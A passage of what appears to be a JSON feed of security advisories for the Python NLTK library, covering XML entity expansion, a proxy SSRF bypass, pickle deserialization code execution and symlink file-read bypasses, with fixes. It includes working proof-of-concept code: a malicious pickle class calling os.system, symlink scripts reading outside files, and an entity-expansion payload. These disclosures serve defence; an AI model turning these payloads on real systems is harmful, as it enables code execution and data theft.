'\u003c!-- \u003c!DOCTYPE x [ ] \u003e --\u003e\u003c!DOCTYPE d [\u003c!ENTITY a \"PPPP...\"\u003e]\u003e\u003cd\u003e\u0026a;\u003c/d\u003e'\n```\n\n```\nraw ElementTree -\u003e EXPANDS ('PPPPPPPPPPPP...', 40 chars)\nnltk.xmlsec     -\u003e REJECTED (EntitiesForbidden)\n```\n\nAn earlier draft of the fallback that walked the text **was** bypassed by this and 4 similar payloads (decoy DOCTYPE in a PI, stray `]` inside a PI in the internal subset). All five are now regression tests.\n\n### 4. Both back ends block it\n\n`nltk.xmlsec` prefers `defusedxml` and falls back to a stdlib `xml.parsers.expat` pre-scan. Same payloads, defusedxml hidden to force the fallback:\n\n```\nstdlib fallback | billion-laughs               -\u003e REJECTED (EntitiesForbidden)\nstdlib fallback | comment-decoy differential   -\u003e REJECTED (EntitiesForbidden)\n```\n\nEnvironment: python 3.13.7, libexpat 2.7.1. Confirmed identical amplification on python 3.10 (NLTK's floor).","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T16:42:18.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-97qj-x29f-37w7","https://nvd.nist.gov/vuln/detail/CVE-2026-78681","https://github.com/nltk/nltk/commit/e91789c9a043296ad04912ce171c22776d45963b","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3748.yaml","https://www.vulncheck.com/advisories/nltk-before-entity-expansion-dos-via-elementtree","https://github.com/advisories/GHSA-97qj-x29f-37w7"],"source_kind":"github","identifiers":["GHSA-97qj-x29f-37w7","CVE-2026-78681"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-25T12:00:36.773Z","epss_percentage":0.00521,"epss_percentile":0.41722,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05N3FqLXgyOWYtMzd3N84ABurq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05N3FqLXgyOWYtMzd3N84ABurq","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05N3FqLXgyOWYtMzd3N84ABurq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02d3c3LTNmcnYtY3F4aM4ABurp","url":"https://github.com/advisories/GHSA-6ww7-3frv-cqxh","title":"NLTK: pathsec SSRF protection can be bypassed when a proxy is configured","description":"### Summary\n\nCurrent NLTK source reopens SSRF in proxied environments. `pathsec.urlopen()` validates the requested hostname locally, but once proxy inheritance is enabled the real fetch is performed by the proxy rather than by the validated direct-connect socket path.\n\n### Details\n\n- **Vulnerability type:** Server-side request forgery\n- **Affected component:** `nltk.pathsec.urlopen`, `nltk.data.load`, `nltk.downloader.Downloader.index`, `nltk.downloader.Downloader.download`\n- **Affected versions:** Current source `v3.10.0-rc2`; published `3.9.4` was a negative control and did not reproduce.\n- **Patched versions:** Not yet patched\n- **Root cause:** Proxy-handler inheritance disables `_SafeHTTPHandler` and `_SafeHTTPSHandler`, so the validated hostname no longer matches the actual egress destination.\n\nThe hardened direct path pins the validated numeric destination IP before opening the socket. The proxied branch instead copies `ProxyHandler` instances from the global opener, marks the request as proxied, and skips the pinned handlers. I confirmed that a validated public URL can be fetched from a loopback-only internal service through the proxy path via `pathsec.urlopen()`, `nltk.data.load()`, `Downloader.index()`, and `Downloader.download()`.\n\n### PoC\n\n**Preconditions**\n- The runtime has an HTTP proxy configured and the caller relies on `pathsec` to keep network fetches SSRF-safe.\n\n**Steps**\n1. Start a loopback-only HTTP server that serves secret text, a valid downloader index, and a ZIP payload.\n2. Configure a proxy that forwards a validated public URL to that internal loopback service.\n3. Call `pathsec.urlopen()` or `nltk.data.load()` on the public URL and observe the internal response is returned.\n4. Instantiate `Downloader(server_index_url=...)`, call `index()` and `download()`, and observe internal-only content is parsed and installed.\n\n**Minimal reproducible excerpt**\n\n```text\n{'urlopen': 'PROXY_TEXT_SECRET', 'data_load': 'PROXY_TEXT_SECRET', 'downloaded_file': 'INTERNAL_ZIP_SECRET'}\n```\n\n### Impact\n\nConsumers that trust `pathsec` as an SSRF barrier in proxied environments can be made to read internal-only HTTP resources, load forged downloader indexes, and install attacker-chosen package content fetched from the proxy's network view.\n\n### Remediation\n\nPreserve destination validation for the actual proxy egress target or fail closed when the request would otherwise downgrade into an unpinned proxied path. Add regression tests across `pathsec.urlopen`, `nltk.data.load`, and downloader fetches with a configured proxy.\n\n### References\n\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/pathsec.py#L468-L518\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/data.py#L1247-L1283\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L875-L889\n- https://github.com/nltk/nltk/blob/v3.10.0-rc2/nltk/downloader.py#L1220-L1226\n- https://github.com/nltk/nltk/blob/3.9.4/nltk/pathsec.py#L245-L250\n\n---\n\n## Fix + attack demonstration (verified)\n\n\nNLTK cannot pin the egress through a proxy, so it stops pretending to: under `ENFORCE` a proxied fetch is **refused** rather than performed unvalidated. Operators who trust their proxy opt back in with `NLTK_ALLOW_PROXIED_URLOPEN=1` or `nltk.pathsec.ALLOW_PROXIED_FETCH=True`; under `ENFORCE=False` the refusal degrades to a warning. This closes the **whole class** (environment proxies and explicit `ProxyHandler` alike), because NLTK declines any fetch whose egress it cannot validate.\n\n## Attack demonstration (reproduced; captured output)\nA loopback HTTP server stands in for the internal target; `http_proxy` points at it; NLTK is asked for a **public** IP URL.\n\n**Before the fix** — the internal secret is exfiltrated through the proxy:\n```\nvalidate_network_url(public): PASSED\n*** BYPASS: pathsec.urlopen returned INTERNAL content via proxy: 'INTERNAL_ONLY_SECRET'\n```\n\n**After the fix** — five scenarios, isolated subprocesses:\n| Scenario | Result |\n|---|---|\n| proxied (env) + ENFORCE | `PermissionError` — **blocked** |\n| proxied + opt-in | returns secret — escape hatch works |\n| explicit `ProxyHandler` (not env) + ENFORCE | `PermissionError` — **blocked** (whole class) |\n| no proxy (direct) | internal IP still refused — pinning intact |\n| proxied + `ENFORCE=False` | returns secret **+ warns** |\n\n## Tests\n`nltk/test/unit/test_pathsec.py`: 64 passed. Added an end-to-end regression (`test_proxied_fetch_does_not_reach_internal_target`) plus `test_env_proxy_fails_closed_under_enforce`; the prior `test_env_proxy_skips_pinning_handlers` (which encoded the vulnerable path) is re-expressed as the opt-in case. Existing direct-path DNS-rebinding and IP-policy tests unchanged and passing. pre-commit (isort/black/ruff) clean.\n\n## Note\nThe upfront `validate_network_url()` and the direct-path IP pinning (from the earlier DNS-rebinding fixes, CVE-2026-54296 / GHSA-qvv7) are unchanged — this only closes the proxied downgrade they didn't cover.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T16:41:40.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-6ww7-3frv-cqxh","https://nvd.nist.gov/vuln/detail/CVE-2026-78682","https://github.com/nltk/nltk/commit/767333a005a1cd3d82d2029215f2dbe66a5844d9","https://github.com/nltk/nltk/releases/tag/v3.10.3","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3733.yaml","https://www.vulncheck.com/advisories/nltk-before-ssrf-protection-bypass-via-proxy","https://github.com/advisories/GHSA-6ww7-3frv-cqxh"],"source_kind":"github","identifiers":["GHSA-6ww7-3frv-cqxh","CVE-2026-78682"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-25T12:00:36.775Z","epss_percentage":0.00435,"epss_percentile":0.35051,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02d3c3LTNmcnYtY3F4aM4ABurp","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02d3c3LTNmcnYtY3F4aM4ABurp","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.3","vulnerable_version_range":"\u003c= 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02d3c3LTNmcnYtY3F4aM4ABurp/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1yaHA1LXI5eDQtZjVnMs4ABuro","url":"https://github.com/advisories/GHSA-rhp5-r9x4-f5g2","title":"NLTK: Unsafe Pickle Deserialization in TransitionParser Allows Remote Code Execution","description":"## Summary\n\nThe NLTK library's `TransitionParser.parse()` method deserializes model files using `pickle_load()` with the default `restricted=False` parameter, allowing arbitrary Python code execution when loading a malicious model file. The library provides a `RestrictedUnpickler` class for safe deserialization, but it is never used by production code paths, leaving the vulnerability unpatched.\n\n## Root Cause\n\n**File:** `nltk/parse/transitionparser.py` (lines 542-557)\n\nThe `parse()` method calls `pickle_load(f)` without `restricted=True`, routing through `WarningUnpickler` which inherits from `pickle.Unpickler` and does NOT override `find_class()`. This allows arbitrary class/function resolution during unpickling, enabling RCE via standard pickle gadgets (e.g., `os.system`, `subprocess.Popen`).\n\n**Vulnerability chain in `nltk/picklesec.py`:**\n\n```python\ndef pickle_load(file, *, context=None, restricted=False):\n    if restricted:\n        return RestrictedUnpickler(file).load()  # Safe: blocks all globals\n    return WarningUnpickler(file, context=context).load()  # VULNERABLE PATH\n```\n\n`WarningUnpickler` only emits a warning but does NOT block unsafe class loading — it calls `super().load()` which is standard `pickle.Unpickler.load()`.\n\n**Why this is not by design:**\n- NLTK intentionally created `RestrictedUnpickler` to block unsafe deserialization\n- The `restricted=True` parameter exists in the API but is **never used** by any production code path\n- All call sites use the default `restricted=False`: `transitionparser.py:557`, `parse/chartparser_app.py:816`, `parse/chartparser_app.py:2273`, `parse/chartparser_app.py:2311`\n\n## Attack Surface\n\n**Entry point:** `TransitionParser().parse(depgraphs, modelFile)` receives a filesystem path with no validation.\n\n**Exploitation path:**\n1. Attacker places a malicious pickle file at a known or attacker-controlled location\n2. Victim calls `parser.parse(sentences, \"/path/to/malicious_model.pkl\")`\n3. `pickle_load()` deserializes the file with `restricted=False` (default)\n4. Standard pickle gadget chain executes arbitrary Python code with victim's privileges\n\n**Impact:** Remote code execution with the privileges of the user running the NLTK-dependent application. Affects researchers, data scientists, and automated ML pipelines using NLTK for parsing tasks.\n\n## Steps to Reproduce\n\n### Environment\n- NLTK version: 3.8.1+ (all versions with `transitionparser.py`)\n- Python 3.6+\n- No special dependencies required\n\n### Reproduction\n\n1. Create a malicious pickle file that uses `__reduce__` to execute a system command during deserialization.\n\n2. Call `TransitionParser().parse([], '/path/to/malicious_model.pkl')`.\n\n3. The `pickle_load(f)` call at `transitionparser.py:557` uses `restricted=False` by default, routing through `WarningUnpickler`, which does not override `find_class()` and permits full class resolution — executing the embedded gadget.\n\n4. Arbitrary code executes with the victim's privileges.\n\n### Proof That the Fix Works\n\nChanging line 557 in `transitionparser.py` from:\n```python\nmodel = pickle_load(f)\n```\nto:\n```python\nmodel = pickle_load(f, restricted=True)\n```\ncauses `RestrictedUnpickler` to raise an `UnpicklingError` and block execution, confirming the safe path prevents the attack.\n\n### Working PoC\n\n```python\nimport pickle\nimport os\nfrom nltk.parse.transitionparser import TransitionParser\n\n# Create malicious pickle with RCE payload\nclass Exploit:\n    def __reduce__(self):\n        return (os.system, ('touch /tmp/nltk_poc_triggered',))\n\nwith open('/tmp/malicious_model.pkl', 'wb') as f:\n    pickle.dump(Exploit(), f)\n\n# Trigger the vulnerable code path (requires algorithm argument in ≤ 3.9.4)\nparser = TransitionParser('arc-standard')      # or 'arc-eager'\nparser.parse([], '/tmp/malicious_model.pkl')   # loads and unpickles unsafely\n\n# Exploit succeeds: file /tmp/nltk_poc_triggered is created\n```\n\nOn NLTK ≥ 3.10.0 (patched), the same code fails with:\n\n```\n_pickle.UnpicklingError: global 'posix.system' is not in the pickle allowlist\n```\n\nThis proves the vulnerability exists in versions ≤ 3.9.4 and is fixed in 3.10.0+.\n\n## Recommended Fix\n\nChange all call sites to use `restricted=True`:\n\n| File | Line | Before | After |\n|------|------|--------|-------|\n| `nltk/parse/transitionparser.py` | 557 | `pickle_load(f)` | `pickle_load(f, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 816 | `pickle_load(model_data_file)` | `pickle_load(model_data_file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2273 | `pickle_load(file)` | `pickle_load(file, restricted=True)` |\n| `nltk/parse/chartparser_app.py` | 2311 | `pickle_load(fp)` | `pickle_load(fp, restricted=True)` |\n\n**Note:** This fix may affect loading older sklearn models. A more robust approach would implement a module allowlist in `RestrictedUnpickler.find_class()`.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-09-08T16:41:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/nltk/nltk/security/advisories/GHSA-rhp5-r9x4-f5g2","https://nvd.nist.gov/vuln/detail/CVE-2026-78683","https://github.com/nltk/nltk/pull/3631","https://github.com/nltk/nltk/commit/f26b3753038d937b68145daf15e9636f8451053c","https://github.com/nltk/nltk/releases/tag/v3.10.0","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3734.yaml","https://www.vulncheck.com/advisories/nltk-before-remote-code-execution-via-unsafe-pickle-deserialization","https://github.com/advisories/GHSA-rhp5-r9x4-f5g2"],"source_kind":"github","identifiers":["GHSA-rhp5-r9x4-f5g2","CVE-2026-78683"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-25T12:00:36.778Z","epss_percentage":0.0051,"epss_percentile":0.40964,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yaHA1LXI5eDQtZjVnMs4ABuro","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1yaHA1LXI5eDQtZjVnMs4ABuro","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.0","vulnerable_version_range":"\u003c= 3.9.4"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1yaHA1LXI5eDQtZjVnMs4ABuro/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zaGh3LTM4cGYtcHhqNs4ABurn","url":"https://github.com/advisories/GHSA-3hhw-38pf-pxj6","title":"NLTK: Symlink-based arbitrary file read in IPIPANCorpusReader, bypasses nltk.pathsec entirely","description":"## Summary\n\n`IPIPANCorpusReader` (`nltk/corpus/reader/ipipan.py`) exposes public methods, `channels()`, `domains()`, `categories()`, and `fileids(channels=...)`, that accept a caller supplied `fileids` list and read a file via a completely unprotected builtin `open()` call, with no `nltk.pathsec` involvement at all. A symlink placed inside the corpus root, with a name containing no separators or `..`, passes NLTK's existing traversal checks and is opened directly, reading a file from anywhere on the filesystem the process can access.\n\n## Root cause\n\nAll four methods route through `_get_tag()`:\n\n```python\ndef _get_tag(self, f, tag):\n    tags = []\n    with open(f) as infile:   # builtin open(), no pathsec involvement\n        header = infile.read()\n    ...\n```\n\n`f` arrives via `_list_header_files()` / `_list_morph_files_by()`, both of which call:\n\n```python\nf.replace(\"morph.xml\", \"header.xml\")\n```\n\non the result of `self.abspath(...)` or `self.abspaths(...)`. `FileSystemPathPointer` subclasses `str`, so `.replace()` returns a plain Python string, silently discarding the `PathPointer` wrapper. That plain string is handed straight to builtin `open()`.\n\nThis is a more severe variant of the same CWE-59 class already fixed elsewhere in this codebase (`CorpusReader.open()`, `NKJPCorpusReader.add_root()`, and the recent `FramenetCorpusReader` fix): those route file access through `nltk.pathsec.validate_path()`, at minimum the global, non-scoped check, before opening. Here, converting the `PathPointer` to a plain string before calling `open()` skips `pathsec` completely, not just the corpus-root-scoped check, so the symlink target does not even need to land under a registered `nltk.data.path` root.\n\nPlain literal `../` traversal in the fileid is still blocked by `FileSystemPathPointer.join()`, so this is specifically the symlink variant, not a regression of the older, simpler traversal class.\n\n## Proof of concept\n\nConstructed the normal, documented way, `fileids` as a regex over file paths, so the reader auto-discovers whatever `.xml` files exist in its root with no special knowledge of the planted symlink.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.ipipan import IPIPANCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"ipipan\")\nos.makedirs(corpus_root)\n\nwith open(os.path.join(corpus_root, \"real_morph.xml\"), \"w\") as f:\n    f.write(\"\u003cchannel\u003elegit\u003c/channel\u003e\")\n\nsecret_dir = os.path.join(root, \"outside_ipipan_root\")\nos.makedirs(secret_dir)\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\"\u003cchannel\u003eTOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT\u003c/channel\u003e\")\n\nos.symlink(secret_path, os.path.join(corpus_root, \"evil_link.xml\"))\n\nreader = IPIPANCorpusReader(corpus_root, r\".*\\.xml\")\nprint(\"Auto-discovered fileids:\", sorted(reader.fileids()))\n\nresult = reader.channels(fileids=[\"evil_link.xml\"])\nprint(result)\n```\n\nActual output when run against current `develop`:\n\n```\nAuto-discovered fileids: ['evil_link.xml', 'real_morph.xml']\n['TOP-SECRET-CHANNEL-DATA-FROM-OUTSIDE-CORPUS-ROOT']\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`. No exception raised anywhere. The planted symlink even surfaces naturally in the reader's own `fileids()` listing, exactly as a real file would.\n\nVerified separately that literal `../` traversal in the fileid is still rejected (`ValueError: Traversal blocked`), confirming this is specifically the symlink gap, not a broader regression.\n\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered or shared corpus directory (`SECURITY.md` names \"shared environments... multi-tenant pipelines\" as the project's own stated threat model) plus a completely normal API call.\n- Core corpus-reader code, reached through plain `import nltk` and documented, programmatic usage (`words()`, `sents()`, `channels()`, etc.), not a demo or GUI tool.\n- Same reader category, and same CWE-59 mechanism, already treated as CVE-worthy twice in this codebase for `FramenetCorpusReader` and `NKJPCorpusReader`.\n- Not a bypass of a claimed fix. `ipipan.py` has never had security hardening applied, and has no dedicated test coverage at all.\n\n## CVSS v3.1\n\n- **AV:L, AC:L**: exploitation is local filesystem symlink placement, then immediate and deterministic once triggered.\n- **PR:L**: the attacker needs some pre-existing ability to plant a symlink somewhere reachable, not zero privilege, but not elevated either.\n- **UI:N**: fires during routine, automated corpus processing, no separate victim action.\n- **S:U**: stays within the same process's existing privileges.\n- **C:H, I:N, A:N**: arbitrary file read only, no write, no crash.\n\n## Suggested fix\n\nRoute `_get_tag()` through `nltk.pathsec.validate_path()` with the corpus root as `required_root`, or through `CorpusReader.open()`, instead of converting the `PathPointer` to a plain string and calling builtin `open()` directly. The same fix pattern already applied to `FramenetCorpusReader` and `NKJPCorpusReader` applies directly here.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-09-08T16:40:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-3hhw-38pf-pxj6","https://nvd.nist.gov/vuln/detail/CVE-2026-62383","https://github.com/nltk/nltk/pull/3727","https://github.com/nltk/nltk/commit/ee1a42e51982c4dce6ad3ee77ff1ac43894288ab","https://github.com/nltk/nltk/releases/tag/v3.10.2","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3726.yaml","https://www.vulncheck.com/advisories/nltk-ipipancorpusreader-symlink-arbitrary-file-read","https://github.com/advisories/GHSA-3hhw-38pf-pxj6"],"source_kind":"github","identifiers":["GHSA-3hhw-38pf-pxj6","CVE-2026-62383"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-25T12:00:36.779Z","epss_percentage":0.00183,"epss_percentile":0.06927,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zaGh3LTM4cGYtcHhqNs4ABurn","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zaGh3LTM4cGYtcHhqNs4ABurn","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.2","vulnerable_version_range":"\u003e= 3.10.0, \u003c 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zaGh3LTM4cGYtcHhqNs4ABurn/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1mODMzLTdqdzgteHdyds4ABurm","url":"https://github.com/advisories/GHSA-f833-7jw8-xwrv","title":"NLTK: Symlink-based sandbox bypass in FramenetCorpusReader (bypasses the fix for CVE-2026-54292)","description":"This is a **new, distinct vulnerability**: a bypass of the fix already published as [GHSA-xh95-f55m-82fw](https://github.com/nltk/nltk/security/advisories/GHSA-xh95-f55m-82fw) (\"Path traversal in NLTK FramenetCorpusReader.frame() allows arbitrary XML file read, bypassing the nltk.pathsec sandbox\"), not a duplicate of it.\n\n## Summary\n\nThe original advisory was fixed (PR [#3581](https://github.com/nltk/nltk/pull/3581)) by adding `_reject_unsafe_path_component()`, which blocks literal `/`, `\\`, `..`, and Windows drive prefixes in caller-/corpus-supplied names. It never resolves symlinks. All three call sites that use this guard still resolve the resulting path through `self.abspath()` (`nltk/corpus/reader/api.py`, `self._root.join(fileid)`), which is a plain lexical join, not the symlink-resolving, `required_root`-scoped check that `CorpusReader.open()` (and `NKJPCorpusReader`'s own fix for its sibling advisory) correctly use elsewhere in this same codebase.\n\nA symlink placed inside the corpus's own subdirectory, with a name containing no separators at all, passes the guard cleanly and reads a file completely outside the corpus root.\n\n## Affected code (`nltk/corpus/reader/framenet.py`)\n\n- `frame_by_name()` reads `\u003cframe_dir\u003e/\u003cname\u003e.xml`\n- `_lu_file()` reads `\u003clu_dir\u003e/lu\u003cid\u003e.xml`\n- `doc()` reads `\u003cfulltext_dir\u003e/\u003cfilename\u003e`\n\nAll three follow the same chain: `_reject_unsafe_path_component(value, ...)`, then `self.abspath(os.path.join(subdir, value))`, then `XMLCorpusView(...)`, opened via `PathPointer.open()` with no `required_root`.\n\n## Proof of concept\n\nSelf-contained, runnable end to end.\n\n```python\nimport os\nimport tempfile\n\nfrom nltk.corpus.reader.framenet import FramenetCorpusReader\n\nroot = tempfile.mkdtemp()\ncorpus_root = os.path.join(root, \"framenet_v17\")\nframe_dir = os.path.join(corpus_root, \"frame\")\nsecret_dir = os.path.join(root, \"outside_framenet_root\")\nos.makedirs(frame_dir)\nos.makedirs(secret_dir)\n\nwith open(os.path.join(corpus_root, \"frRelation.xml\"), \"w\") as f:\n    f.write(\"\u003cframeRelations/\u003e\")\n\nsecret_path = os.path.join(secret_dir, \"stolen.xml\")\nwith open(secret_path, \"w\") as f:\n    f.write(\n        '\u003cframe cBy=\"000\" cDate=\"01/01/2000\" name=\"StolenFrame\" ID=\"999999\"\u003e'\n        \"\u003cdefinition\u003eTHIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\u003c/definition\u003e\"\n        \"\u003c/frame\u003e\"\n    )\n\n# Attacker plants this inside \u003ccorpus_root\u003e/frame/. No path separators,\n# so it passes _reject_unsafe_path_component cleanly.\nlink_path = os.path.join(frame_dir, \"evil_link.xml\")\nos.symlink(secret_path, link_path)\n\nreader = FramenetCorpusReader(corpus_root, [])\nreader._frame_idx = {\"__dummy__\": {\"name\": \"__dummy__\"}}  # skip unrelated index build\n\nresult = reader.frame_by_name(\"evil_link\")   # normal, routine call, no \"..\" anywhere\nprint(\"frame name:\", result[\"name\"])\nprint(\"definition:\", result[\"definition\"])\n```\n\nActual output when run against unpatched `main` (commit `35813c8`):\n\n```\nframe name: StolenFrame\ndefinition: THIS CAME FROM OUTSIDE THE FRAMENET CORPUS ROOT\n```\n\nThat content was read from `secret_path`, a file entirely outside `corpus_root`, via a single, unmodified, public API call. No exception is raised anywhere in the chain; `_reject_unsafe_path_component` passes because `\"evil_link\"` contains no separators, `..`, or drive prefix.\n\nVerified the same way for the other two affected call sites, `_lu_file()` (`lu\u003cid\u003e.xml` symlink under `lu/`) and `doc()` (arbitrary filename symlink under `fulltext/`), both succeeding identically with no exception raised.\n## Why this is in scope\n\n- No malicious file for a victim to open, no special user interaction. Just a tampered/shared corpus directory (NLTK's own `SECURITY.md` names \"shared environments... multi-tenant pipelines\" as its threat model) plus a completely normal API call.\n- Core corpus-reader code, not a demo/GUI tool.\n- Confirmed unintentional: PR #3581's own description states the goal was to route through \"the `nltk.pathsec` sandbox... including the strict `ENFORCE=True` mode\" and be \"consistent with the validation already used elsewhere in NLTK.\" It doesn't achieve that, since `abspath()` never reaches the scoped, symlink-resolving check that exists and is used correctly elsewhere in the same file tree (`NKJPCorpusReader`).\n\n## Suggested fix\n\nRoute all three call sites through `CorpusReader.open()` (or pass `required_root=self._root` to `validate_path()` directly, as `NKJPCorpusReader` already does), instead of `self.abspath()` plus raw `PathPointer.open()`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-09-08T16:39:24.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/nltk/nltk/security/advisories/GHSA-f833-7jw8-xwrv","https://nvd.nist.gov/vuln/detail/CVE-2026-62384","https://github.com/nltk/nltk/pull/3726","https://github.com/nltk/nltk/commit/736d3212a47de2005b85b785dde6720556d3925d","https://github.com/nltk/nltk/releases/tag/v3.10.2","https://github.com/pypa/advisory-database/tree/main/vulns/nltk/PYSEC-2026-3789.yaml","https://www.vulncheck.com/advisories/nltk-framenetcorpusreader-symlink-sandbox-bypass-before","https://github.com/advisories/GHSA-f833-7jw8-xwrv"],"source_kind":"github","identifiers":["GHSA-f833-7jw8-xwrv","CVE-2026-62384"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T17:00:08.833Z","updated_at":"2026-09-25T12:00:36.782Z","epss_percentage":0.00651,"epss_percentile":0.48977,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mODMzLTdqdzgteHdyds4ABurm","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1mODMzLTdqdzgteHdyds4ABurm","packages":[{"ecosystem":"pypi","package_name":"nltk","versions":[{"first_patched_version":"3.10.2","vulnerable_version_range":"\u003e= 3.10.0, \u003c 3.10.2"}],"purl":"pkg:pypi/nltk"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1mODMzLTdqdzgteHdyds4ABurm/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS01NjhmLXB2MjMtMzlwNM4ABurk","url":"https://github.com/advisories/GHSA-568f-pv23-39p4","title":"NLTK: Stable FrameNet and NKJP readers parse outside-root XML","description":"### Summary\n\nPublished `nltk==3.9.4` still contains several XML-reader entrypoints that build parser paths from caller-controlled selectors or trusted-looking index state without preserving the corpus-root boundary.\n\n### Details\n\n- **Vulnerability type:** Path traversal and trusted-root bypass\n- **Affected component:** `FramenetCorpusReader.frame_by_name`, `FramenetCorpusReader.doc`, `FramenetCorpusReader.lu`, `NKJPCorpusReader.header`\n- **Affected versions:** Published `3.9.4` reproduced. Current source `v3.10.0-rc2` acted as a negative control and blocked the same payloads.\n- **Patched versions:** Patched in version 3.10.0, which includes the path-safety rejections seen in the release candidate.\n- **Root cause:** Stable reader paths still construct raw XML filenames from unsafe selectors, poisoned index state, or unsafe file identifiers.\n\nI confirmed four public stable entrypoints return parsed outside-root content: a parent-segment traversal frame name, a poisoned fulltext index filename, a poisoned LU id, and an unsafe NKJP header file identifier. Current source rejects the same payloads with explicit path-safety errors, which shows the bug is real but version-scoped to the published stable package.\n\n### PoC\n\n**Preconditions**\n- The application exposes FrameNet or NKJP reader APIs while trusting NLTK to keep XML parsing inside a corpus root.\n\n**Steps**\n1. Create a minimal FrameNet or NKJP corpus root and place attacker-chosen XML files outside that root.\n2. Feed unsafe selectors or poisoned index state into the relevant public stable `3.9.4` APIs.\n3. Observe `frame_by_name`, `doc`, `lu(...).exemplars`, or `header` return parsed outside-root values.\n4. Run the same payloads against current source and observe explicit path-safety rejections.\n\n**Minimal reproducible excerpt**\n\n```text\nframenet_frame_definition FRAME_LEAK\nframenet_doc_text DOC_LEAK\nframenet_lu_text LU_LEAK\nnkjp_header_title HEADER_LEAK\n```\n\n### Impact\n\nApplications that process attacker-influenced FrameNet or NKJP corpus selectors or state can be made to parse XML outside the trusted corpus root through normal public reader responses.\n\n### Remediation\n\nKeep these reader paths on the same root-confinement model as `CorpusReader.open()` and `nltk.pathsec`. Reject 